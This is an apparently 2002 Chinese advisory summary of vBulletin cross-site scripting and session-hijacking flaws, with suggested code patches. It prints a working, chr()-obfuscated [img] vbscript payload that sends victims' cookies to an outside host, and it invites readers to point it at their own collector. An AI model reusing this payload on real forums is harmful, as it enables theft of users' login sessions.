| |
|
几个VBB的跨站脚本执行漏洞小结
by Tear http://www.javastore.net http://security.nsfocus.com/showQuery.asp?bugID=2477描述如下: vBulletin支持在帖子中用户使用[img]/[/img]标记插入图象连接,但它未对标记中的内容做充分过滤,这可能导致攻击者在此标记的内容中放入脚本代码,当其他用户浏览相关此连接的时候,脚本将在用户的浏览器中执行。攻击者可能借此得到用户基于COOKIE的认证信息。 代码: -------------------------------------------------------------------------------- [img]vbscript:location.replace( chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+ chr(47)+chr(47)+chr(119)+chr(119)+chr(119)+ chr(46)+chr(105)+chr(103)+chr(110)+chr(105)+ chr(116)+chr(101)+chr(46)+chr(98)+chr(97)+ chr(114)+chr(114)+chr(121)+chr(115)+chr(119)+ chr(111)+chr(114)+chr(108)+chr(100)+chr(46)+ chr(110)+chr(101)+chr(116)+chr(47)+chr(116)+ chr(101)+chr(115)+chr(116)+chr(46)+chr(112)+ chr(104)+chr(112)+chr(63)+chr(99)+chr(61)+ escape(documents \.cookie) )[/img] -------------------------------------------------------------------------------- 上面描述的ASCII编码会自动转换为http://www.igngte.barrysworld.net/test.php?c=,可以把路径改为你收集脚本的位置。经过测试该问题除了存在于2.2.2和之前的版本,同时也存在于不是直接安装,而是由旧版本升级的2.2.3与2.2.4. NSFOCUS提供的临时解决办法: 暂时禁止IMG标签或者立刻升级 如果你不能立刻升级这里有另外一种解决办法: 在forum/admin/functions.php中找到 1. "stripbrsfromcode('\\5')", 替换为 //"stripbrsfromcode('\\5')", 2. function stripbrsfromcode($foundcode) { $foundcode = str_replace("\\\"","\"",$foundcode); return "</normalfont><blockquote><pre><smallfont>代码:</smallfont><hr>" . str_replace(" ", "", str_replace(" ", "", $foundcode) ) . "<hr></pre><</blockquote>normalfont>"; } 替换为 //function stripbrsfromcode($foundcode) { // $foundcode = str_replace("\\\"","\"",$foundcode); // return "</normalfont><blockquote><pre><smallfont>代码:</smallfont><hr>" . str_replace(" ", "", str_replace("<br //>", "", $foundcode) ) . "<hr></pre><</blockquote>normalfont>";//} http://security.nsfocus.com/showQuery.asp?bugID=2466该问题在相关连接已有描述,漏洞发现者提供临时解决方法,在Vbulletin.com已经对该问题进行讨论,详细可见www.vbulletin.com/member。 session hijacking 登陆用户浏览论坛,连接会以http://somedomain/forum/showthread.php?s=1111111111111111111111111111111111111111&threadid=11111显示。由于暂时不了解情况,只能估计s=1111111111111111111111111111111111111111或者为cookies的hash,如果将URL直接发给对方,有可能造成对方以你的ID登陆,造成session hijacking 解决方法: 将以传递连接的时候使用http://somedomain/forum/showthread.php?threadid=11111,把中间的s=1111111111111111111111111111111111111111去掉,如果你是用php4.1.0以上版本可以在forum/admin/config.php的<?php后面加入: if(!strstr("$_SERVER[PATH_TRANSLATED]", "$_SERVER[DOCUMENT_ROOT]")) { die(); } 如果是较低版本则加入: if(!strstr("$HTTP_SERVER_VARS[PATH_TRANSLATED]", "$HTTP_SERVER_VARS[DOCUMENT_ROOT]")) { die(); } 另外还有二次注册的CSS: 详细参阅 www.enter.3322.net/cgi-bin/list.cgi 这里提供两种解决方法: 1.禁止在相关位置输入cookie字样(该措施作用不大) 2.修改程序多个模板,把相关的功能暂时屏蔽或禁止(建议) |
| Copyright By「黑白网络工作室」2002 All Rights Reserve |